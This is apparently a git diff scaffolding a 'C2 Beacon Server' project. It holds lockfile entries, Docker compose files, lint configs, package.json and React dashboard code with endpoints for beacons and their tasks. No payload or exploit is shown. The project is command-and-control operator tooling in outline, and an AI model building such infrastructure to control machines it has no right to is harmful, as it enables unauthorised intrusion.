{ url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, upload-time = "2026-01-10T09:23:31.368Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" },
|
||||
]
|
||||
|
|
@ -0,0 +1,79 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# compose.yml
|
||||
# =============================================================================
|
||||
# Production compose - Nginx (with built frontend) + FastAPI backend
|
||||
# =============================================================================
|
||||
|
||||
name: ${APP_NAME:-c2-beacon}
|
||||
|
||||
services:
|
||||
nginx:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: infra/docker/frontend-builder.prod
|
||||
args:
|
||||
- VITE_API_URL=${VITE_API_URL:-/api}
|
||||
- VITE_APP_TITLE=${VITE_APP_TITLE:-C2 Beacon Server}
|
||||
container_name: ${APP_NAME:-c2-beacon}-nginx
|
||||
ports:
|
||||
- "${NGINX_HOST_PORT:-47430}:80"
|
||||
depends_on:
|
||||
backend:
|
||||
condition: service_healthy
|
||||
networks:
|
||||
- frontend
|
||||
- backend
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '1.0'
|
||||
memory: 256M
|
||||
reservations:
|
||||
cpus: '0.25'
|
||||
memory: 64M
|
||||
restart: unless-stopped
|
||||
|
||||
backend:
|
||||
build:
|
||||
context: ./backend
|
||||
dockerfile: ../infra/docker/fastapi.prod
|
||||
container_name: ${APP_NAME:-c2-beacon}-backend
|
||||
ports:
|
||||
- "${BACKEND_HOST_PORT:-47431}:8000"
|
||||
expose:
|
||||
- "8000"
|
||||
env_file:
|
||||
- .env
|
||||
environment:
|
||||
- ENVIRONMENT=production
|
||||
- DEBUG=false
|
||||
- RELOAD=false
|
||||
volumes:
|
||||
- c2_data:/app/data
|
||||
networks:
|
||||
- backend
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
cpus: '2.0'
|
||||
memory: 1G
|
||||
reservations:
|
||||
cpus: '0.5'
|
||||
memory: 256M
|
||||
healthcheck:
|
||||
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')"]
|
||||
interval: 30s
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 15s
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
frontend:
|
||||
driver: bridge
|
||||
backend:
|
||||
driver: bridge
|
||||
|
||||
volumes:
|
||||
c2_data:
|
||||
|
|
@ -0,0 +1,80 @@
|
|||
# =============================================================================
|
||||
# AngelaMos | 2026
|
||||
# dev.compose.yml
|
||||
# =============================================================================
|
||||
# Development compose - Nginx + Vite HMR + FastAPI with hot reload
|
||||
# =============================================================================
|
||||
|
||||
name: ${APP_NAME:-c2-beacon}-dev
|
||||
|
||||
services:
|
||||
nginx:
|
||||
image: nginx:1.27-alpine
|
||||
container_name: ${APP_NAME:-c2-beacon}-nginx-dev
|
||||
ports:
|
||||
- "${NGINX_HOST_PORT:-47430}:80"
|
||||
volumes:
|
||||
- ./infra/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
- ./infra/nginx/dev.nginx:/etc/nginx/conf.d/default.conf:ro
|
||||
depends_on:
|
||||
backend:
|
||||
condition: service_healthy
|
||||
frontend:
|
||||
condition: service_started
|
||||
networks:
|
||||
- frontend
|
||||
- backend
|
||||
restart: unless-stopped
|
||||
|
||||
frontend:
|
||||
build:
|
||||
context: ./frontend
|
||||
dockerfile: ../infra/docker/vite.dev
|
||||
container_name: ${APP_NAME:-c2-beacon}-frontend-dev
|
||||
ports:
|
||||
- "${FRONTEND_HOST_PORT:-47432}:5173"
|
||||
volumes:
|
||||
- ./frontend:/app
|
||||
- frontend_modules:/app/node_modules
|
||||
environment:
|
||||
- VITE_API_URL=${VITE_API_URL:-/api}
|
||||
- VITE_APP_TITLE=${VITE_APP_TITLE:-C2 Beacon Server}
|
||||
networks:
|
||||
- frontend
|
||||
restart: unless-stopped
|
||||
|
||||
backend:
|
||||
build:
|
||||
context: ./backend
|
||||
dockerfile: ../infra/docker/fastapi.dev
|
||||
container_name: ${APP_NAME:-c2-beacon}-backend-dev
|
||||
ports:
|
||||
- "${BACKEND_HOST_PORT:-47431}:8000"
|
||||
volumes:
|
||||
- ./backend:/app
|
||||
- backend_cache:/app/.venv
|
||||
env_file:
|
||||
- .env
|
||||
environment:
|
||||
- ENVIRONMENT=development
|
||||
- DEBUG=true
|
||||
- RELOAD=true
|
||||
networks:
|
||||
- backend
|
||||
healthcheck:
|
||||
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 30s
|
||||
restart: unless-stopped
|
||||
|
||||
networks:
|
||||
frontend:
|
||||
driver: bridge
|
||||
backend:
|
||||
driver: bridge
|
||||
|
||||
volumes:
|
||||
backend_cache:
|
||||
frontend_modules:
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
node_modules
|
||||
build
|
||||
dist
|
||||
.git
|
||||
.gitignore
|
||||
*.md
|
||||
.env*
|
||||
.vscode
|
||||
.idea
|
||||
*.log
|
||||
npm-debug.log*
|
||||
pnpm-debug.log*
|
||||
.DS_Store
|
||||
coverage
|
||||
.nyc_output
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
pnpm-debug.log*
|
||||
lerna-debug.log*
|
||||
|
||||
node_modules
|
||||
dist
|
||||
dist-ssr
|
||||
*.local
|
||||
.vite
|
||||
|
||||
# Editor directories and files
|
||||
.vscode/*
|
||||
!.vscode/extensions.json
|
||||
.idea
|
||||
.DS_Store
|
||||
*.suo
|
||||
*.ntvs*
|
||||
*.njsproj
|
||||
*.sln
|
||||
*.sw?
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# ©AngelaMos | 2026
|
||||
# .stylelintignore
|
||||
|
||||
# Dependencies
|
||||
node_modules/
|
||||
|
||||
# Production builds
|
||||
dist/
|
||||
build/
|
||||
out/
|
||||
|
||||
# JS/TS files
|
||||
**/*.js
|
||||
**/*.jsx
|
||||
**/*.ts
|
||||
**/*.tsx
|
||||
|
||||
# Generated files
|
||||
*.min.css
|
||||
|
||||
# Error system styles - ignore from linting
|
||||
src/core/app/_toastStyles.scss
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
{
|
||||
"$schema": "https://biomejs.dev/schemas/2.3.15/schema.json",
|
||||
"vcs": {
|
||||
"enabled": true,
|
||||
"clientKind": "git",
|
||||
"useIgnoreFile": true
|
||||
},
|
||||
"files": {
|
||||
"includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
|
||||
},
|
||||
"formatter": {
|
||||
"enabled": true,
|
||||
"indentStyle": "space",
|
||||
"indentWidth": 2,
|
||||
"lineWidth": 82,
|
||||
"lineEnding": "lf"
|
||||
},
|
||||
"javascript": {
|
||||
"formatter": {
|
||||
"quoteStyle": "single",
|
||||
"jsxQuoteStyle": "double",
|
||||
"semicolons": "asNeeded",
|
||||
"trailingCommas": "es5",
|
||||
"arrowParentheses": "always"
|
||||
}
|
||||
},
|
||||
"linter": {
|
||||
"enabled": true,
|
||||
"rules": {
|
||||
"recommended": true,
|
||||
"complexity": {
|
||||
"noExcessiveCognitiveComplexity": {
|
||||
"level": "error",
|
||||
"options": { "maxAllowedComplexity": 25 }
|
||||
},
|
||||
"noForEach": "off",
|
||||
"useLiteralKeys": "off"
|
||||
},
|
||||
"correctness": {
|
||||
"noUnusedVariables": "error",
|
||||
"noUnusedImports": "error",
|
||||
"useExhaustiveDependencies": "warn",
|
||||
"useHookAtTopLevel": "error",
|
||||
"noUndeclaredVariables": "error"
|
||||
},
|
||||
"style": {
|
||||
"useImportType": "error",
|
||||
"useConst": "error",
|
||||
"useTemplate": "error",
|
||||
"useSelfClosingElements": "error",
|
||||
"useFragmentSyntax": "error",
|
||||
"noNonNullAssertion": "error",
|
||||
"useConsistentArrayType": {
|
||||
"level": "error",
|
||||
"options": { "syntax": "shorthand" }
|
||||
},
|
||||
"useNamingConvention": "off"
|
||||
},
|
||||
"suspicious": {
|
||||
"noExplicitAny": "error",
|
||||
"noDebugger": "error",
|
||||
"noConsole": "warn",
|
||||
"noArrayIndexKey": "warn",
|
||||
"noAssignInExpressions": "error",
|
||||
"noDoubleEquals": "error",
|
||||
"noRedeclare": "error",
|
||||
"noVar": "error"
|
||||
},
|
||||
"security": {
|
||||
"noDangerouslySetInnerHtml": "error"
|
||||
},
|
||||
"a11y": {
|
||||
"useAltText": "error",
|
||||
"useAnchorContent": "error",
|
||||
"useKeyWithClickEvents": "error",
|
||||
"noStaticElementInteractions": "error",
|
||||
"useButtonType": "error",
|
||||
"useValidAnchor": "error"
|
||||
}
|
||||
}
|
||||
},
|
||||
"overrides": [
|
||||
{
|
||||
"includes": ["src/main.tsx"],
|
||||
"linter": {
|
||||
"rules": {
|
||||
"style": {
|
||||
"noNonNullAssertion": "off"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!--
|
||||
C2 Beacon
|
||||
Author(s): © AngelaMos, CarterPerez-dev
|
||||
-->
|
||||
<meta charset="UTF-8" />
|
||||
<link
|
||||
rel="icon"
|
||||
type="image/x-icon"
|
||||
href="/assets/favicon.ico"
|
||||
/>
|
||||
<link
|
||||
rel="apple-touch-icon"
|
||||
type="image/png"
|
||||
href="/assets/apple-touch-icon.png"
|
||||
/>
|
||||
<link
|
||||
rel="manifest"
|
||||
href="/assets/site.webmanifest"
|
||||
/>
|
||||
<meta
|
||||
name="viewport"
|
||||
content="width=device-width, initial-scale=1.0"
|
||||
/>
|
||||
<title>Simple C2 Beacon</title>
|
||||
<meta
|
||||
name="description"
|
||||
content="*Cracked*"
|
||||
/>
|
||||
<meta
|
||||
name="author"
|
||||
content=" ©AngelaMos | 2026 | CarterPerez-dev"
|
||||
/>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script
|
||||
type="module"
|
||||
src="/src/main.tsx"
|
||||
></script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
{
|
||||
"name": "c2-beacon-dashboard",
|
||||
"private": true,
|
||||
"version": "1.0.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "tsc -b && vite build",
|
||||
"preview": "vite preview",
|
||||
"lint": "biome check .",
|
||||
"lint:fix": "biome check --write .",
|
||||
"format": "biome format --write .",
|
||||
"typecheck": "tsc -b",
|
||||
"lint:scss": "stylelint '**/*.scss'",
|
||||
"lint:scss:fix": "stylelint '**/*.scss' --fix"
|
||||
},
|
||||
"dependencies": {
|
||||
"react": "^19.2.4",
|
||||
"react-dom": "^19.2.4",
|
||||
"react-error-boundary": "^5.0.0",
|
||||
"react-icons": "^5.5.0",
|
||||
"react-router-dom": "^7.13.0",
|
||||
"sonner": "^2.0.7",
|
||||
"zod": "^4.3.6",
|
||||
"zustand": "^5.0.11"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "^2.3.15",
|
||||
"@types/node": "^25.2.3",
|
||||
"@types/react": "^19.2.14",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@vitejs/plugin-react": "^5.1.4",
|
||||
"sass": "^1.97.3",
|
||||
"stylelint": "^17.3.0",
|
||||
"stylelint-config-prettier-scss": "^1.0.0",
|
||||
"stylelint-config-standard-scss": "^17.0.0",
|
||||
"typescript": "~5.9.3",
|
||||
"vite": "npm:rolldown-vite@7.3.1",
|
||||
"vite-tsconfig-paths": "^6.1.1"
|
||||
},
|
||||
"pnpm": {
|
||||
"overrides": {
|
||||
"vite": "npm:rolldown-vite@7.3.1"
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
After Width: | Height: | Size: 55 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 275 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 50 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 758 B |
Binary file not shown.
|
After Width: | Height: | Size: 2.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -0,0 +1 @@
|
|||
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
// ===========================
|
||||
// © AngelaMos | 2026
|
||||
// App.tsx
|
||||
// ===========================
|
||||
|
||||
import { RouterProvider } from 'react-router-dom'
|
||||
import { Toaster } from 'sonner'
|
||||
|
||||
import { router } from '@/core/app/routers'
|
||||
import '@/core/app/toast.module.scss'
|
||||
|
||||
export default function App(): React.ReactElement {
|
||||
return (
|
||||
<div className="app">
|
||||
<RouterProvider router={router} />
|
||||
<Toaster
|
||||
position="top-right"
|
||||
duration={2000}
|
||||
theme="dark"
|
||||
toastOptions={{
|
||||
style: {
|
||||
background: 'hsl(0, 0%, 12.2%)',
|
||||
border: '1px solid hsl(0, 0%, 18%)',
|
||||
color: 'hsl(0, 0%, 98%)',
|
||||
},
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// config.ts
|
||||
// ===================
|
||||
|
||||
export const API_BASE = '/api'
|
||||
|
||||
export const API_ENDPOINTS = {
|
||||
HEALTH: `${API_BASE}/health`,
|
||||
BEACONS: `${API_BASE}/beacons`,
|
||||
BEACON: (id: string) => `${API_BASE}/beacons/${id}`,
|
||||
BEACON_TASKS: (id: string) => `${API_BASE}/beacons/${id}/tasks`,
|
||||
} as const
|
||||
|
||||
export const WS_ENDPOINTS = {
|
||||
OPERATOR: `${API_BASE}/ws/operator`,
|
||||
} as const
|
||||
|
||||
export const ROUTES = {
|
||||
DASHBOARD: '/',
|
||||
SESSION: (id: string) => `/session/${id}`,
|
||||
} as const
|
||||
|
||||
export const STORAGE_KEYS = {
|
||||
UI: 'c2-ui-storage',
|
||||
} as const
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// routers.tsx
|
||||
// ===================
|
||||
|
||||
import { createBrowserRouter, type RouteObject } from 'react-router-dom'
|
||||
import { ROUTES } from '@/config'
|
||||
import { Shell } from './shell'
|
||||
|
||||
const routes: RouteObject[] = [
|
||||
{
|
||||
element: <Shell />,
|
||||
children: [
|
||||
{
|
||||
path: ROUTES.DASHBOARD,
|
||||
lazy: () => import('@/pages/dashboard'),
|
||||
},
|
||||
{
|
||||
path: '/session/:id',
|
||||
lazy: () => import('@/pages/session'),
|
||||
},
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
export const router = createBrowserRouter(routes)
|
||||
|
|
@ -0,0 +1,285 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// shell.module.scss
|
||||
// ===================
|
||||
|
||||
@use '@/styles' as *;
|
||||
|
||||
$sidebar-width: 240px;
|
||||
$sidebar-collapsed-width: 64px;
|
||||
$header-height: 56px;
|
||||
|
||||
.shell {
|
||||
display: flex;
|
||||
min-height: 100vh;
|
||||
min-height: 100dvh;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
width: $sidebar-width;
|
||||
background-color: $bg-shell-base;
|
||||
background-image: radial-gradient(
|
||||
circle,
|
||||
$bg-shell-dot 1px,
|
||||
transparent 1px
|
||||
);
|
||||
background-size: 17px 17px;
|
||||
border-right: 1px solid $border-default;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
z-index: $z-fixed;
|
||||
@include transition-fast;
|
||||
|
||||
&.collapsed {
|
||||
width: $sidebar-collapsed-width;
|
||||
}
|
||||
|
||||
@include breakpoint-down('sm') {
|
||||
transform: translateX(-100%);
|
||||
|
||||
&.open {
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
&.collapsed {
|
||||
width: $sidebar-width;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.sidebarHeader {
|
||||
height: $header-height;
|
||||
padding: 0 $space-3;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
border-bottom: 1px solid $border-default;
|
||||
|
||||
.sidebar.collapsed & {
|
||||
justify-content: center;
|
||||
padding: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.logo {
|
||||
font-size: $font-size-base;
|
||||
font-weight: $font-weight-semibold;
|
||||
color: $text-default;
|
||||
@include transition-fast;
|
||||
|
||||
.sidebar.collapsed & {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
|
||||
.nav {
|
||||
flex: 1;
|
||||
padding: $space-3;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: $space-1;
|
||||
}
|
||||
|
||||
.navItem {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: $space-3;
|
||||
padding: $space-2 $space-3;
|
||||
border-radius: $radius-md;
|
||||
font-size: $font-size-sm;
|
||||
color: $text-light;
|
||||
@include transition-fast;
|
||||
|
||||
@include hover {
|
||||
background: $bg-surface-200;
|
||||
color: $text-default;
|
||||
}
|
||||
|
||||
&.active {
|
||||
background: $bg-selection;
|
||||
color: $text-default;
|
||||
|
||||
.navIcon {
|
||||
color: $accent-green;
|
||||
}
|
||||
}
|
||||
|
||||
.sidebar.collapsed & {
|
||||
justify-content: center;
|
||||
}
|
||||
}
|
||||
|
||||
.navIcon {
|
||||
width: 17px;
|
||||
height: 17px;
|
||||
flex-shrink: 0;
|
